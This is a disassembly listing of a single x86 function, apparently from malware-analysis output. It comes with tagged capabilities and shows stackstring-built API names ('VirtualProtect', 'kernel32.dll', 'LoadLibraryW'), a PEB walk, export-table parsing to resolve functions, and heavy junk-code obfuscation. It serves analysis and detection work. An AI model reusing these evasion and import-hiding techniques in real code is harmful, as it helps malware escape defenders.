Function at 0x406f00
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
das
add byte [eax], al
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
add esi, 0xda63
pop esi
push edi
push edi
add esp, 4
xor edi, 0x6367
sub edi, 0x8480
call 0x406f00
add byte [edi + 0x36], cl
inc esi
cmp dword [esi], esi
cmp byte ds:[esi + edi], dh
add esp, 4
add edi, 0x30f
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push edx
add esp, 4
jmp 0x406f40
and eax, 0x825a
xor eax, 0x13624
pop eax
push edx
and edx, 0x1e66
sub edx, 0x1494c
add edx, 0xd07
add edx, 0x14898
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
or ebx, 0x73df
xor ebx, 0x7d0d
and ebx, 0x178f1
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0xd10f
sub ebx, 0x1856f
xor ebx, 0x1928
or ebx, 0x229c
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
sub ecx, 0x10ddd
sub ecx, 0x1410
and ecx, 0x156f8
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x28d1
add eax, 0xde8c
add eax, 0x1051b
add eax, 0x335e
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x407073
mov dword [ebp - 0x2a8], 0
jmp 0x40731a
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edi
jmp 0x40708c
xor edi, 0x7231
pop edi
push edi
call 0x4070a1
add byte [ebx], dh
dec eax
inc edi
xor eax, 0x8348353b
les eax, [ecx + eax*4]
iretd
push eax
or eax, 0x2288
add eax, 0xe461
xor eax, 0x427f
pop eax
push ebx
and ebx, 0x12f21
add ebx, 0x3c3a
jmp 0x407344
jmp 0x40734b
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x407c51
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push edi
add esp, 4
call 0x407406
add byte [ecx], bh
aas
push eax
cmp dh, byte [0x3b474248]
add esp, 4
pop ecx
push ebx
sub ebx, 0x14f03
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x479c
or eax, 0x14b1
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
jmp 0x4074ad
or ecx, 0xd18c
xor ecx, 0x15e9d
call 0x4074c7
add byte [edx], bh
cmp dword [esi + esi], edi
inc ebp
cmp eax, dword [edx + 0x4c]
add esp, 4
pop ecx
push ecx
add ecx, 0x72b8
sub ecx, 0x8dd0
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x4074f1
mov dword [ebp - 0x710], 0
jmp 0x407798
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
or ecx, 0x5d0f
or ecx, 0x8aad
pop ecx
push edi
or edi, 0x5485
and edi, 0x6133
and edi, 0x1836e
call 0x407531
add byte [ebp + 0x32], al
cmp esi, dword [esi]
cmp al, 0x44
push eax
add esp, 4
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x40754d
mov dword [ebp - 0x710], 0
jmp 0x407798
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
jmp 0x407561
call 0x40756d
add byte [esi + 0x35], cl
inc esp
aas
dec edx
cmp al, 0x83
les eax, [ecx + eax*4]
into
pushal
aad 0
add byte [ecx + 0xa561c6], al
add byte [esi + 0x56], bl
xor esi, 0x1d06
xor esi, 0x592c
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ebx
add esp, 4
or esi, 0x143bc
add esi, 0x9889
add esi, 0x136c7
and esi, 0x2169
pop esi
push ebx
and ebx, 0x13003
add ebx, 0xf3a3
add ebx, 0x4cce
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
or esi, 0xa185
add esi, 0x1362f
xor esi, 0xb48d
pop esi
push esi
push eax
add esp, 4
sub esi, 0x6a98
pop esi
push edx
push eax
add esp, 4
xor edx, 0x10984
and edx, 0x7845
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40768d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4076e7
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4075b5
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4075b5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4076d1
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4076db
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x407730
push edi
push edi
add esp, 4
and edi, 0x7223
pop edi
push edi
add edi, 0x85eb
call 0x407712
add byte [ecx + 0x3e], al
cmp al, 0x44
cmp cl, byte [ebp + 0x40]
inc ebx
inc ebp
add esp, 4
and edi, 0xdc5a
add edi, 0x2300
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x407798
push edx
push edx
add esp, 4
call 0x407743
add byte [ecx + 0x4d], al
inc esi
push eax
inc esi
cmp dh, byte [ebx]
inc esp
add esp, 4
jmp 0x40774c
pop edx
push edi
push eax
add esp, 4
jmp 0x407758
jmp 0x407761
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x40778e
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x407559
mov dword [ebp - 0x710], 0
push eax
push edi
add esp, 4
or eax, 0x17178
or eax, 0x159d
pop eax
push edx
xor edx, 0xe96f
pop edx
push edi
push eax
add esp, 4
xor edi, 0xe22d
and edi, 0x12929
or edi, 0x114f4
pop edi
cmp dword [ebp - 0x710], 0
jne 0x407814
push eax
push eax
add esp, 4
xor eax, 0xa1e3
sub eax, 0xcdf4
call 0x4077f2
add byte [edi + 0x34], al
aaa
cmp ecx, dword [ecx + 0x32]
dec ecx
inc edx
add esp, 4
pop eax
push esi
or esi, 0x1663d
jmp 0x407804
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x40833c
push edi
push ebx
add esp, 4
and edi, 0x8e13
xor edi, 0x1684d
add edi, 0xefcc
pop edi
push edi
jmp 0x407833
or edi, 0x13903
add edi, 0xe13c
or edi, 0x10daf
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x407885
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407b76
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4078ad
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407b76
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4078df
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x407b76
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407904
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x407b76
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40795e
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407b6a
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4079ce
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407a80
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x407a80
push edi
xor edi, 0xec54
and edi, 0xac8
sub edi, 0x1705e
xor edi, 0x9d45
pop edi
push eax
push edi
add esp, 4
xor eax, 0x1133b
pop eax
push eax
push edx
add esp, 4
xor eax, 0x16f29
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x407a72
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
invalid
invalid
xchg esp, eax
invalid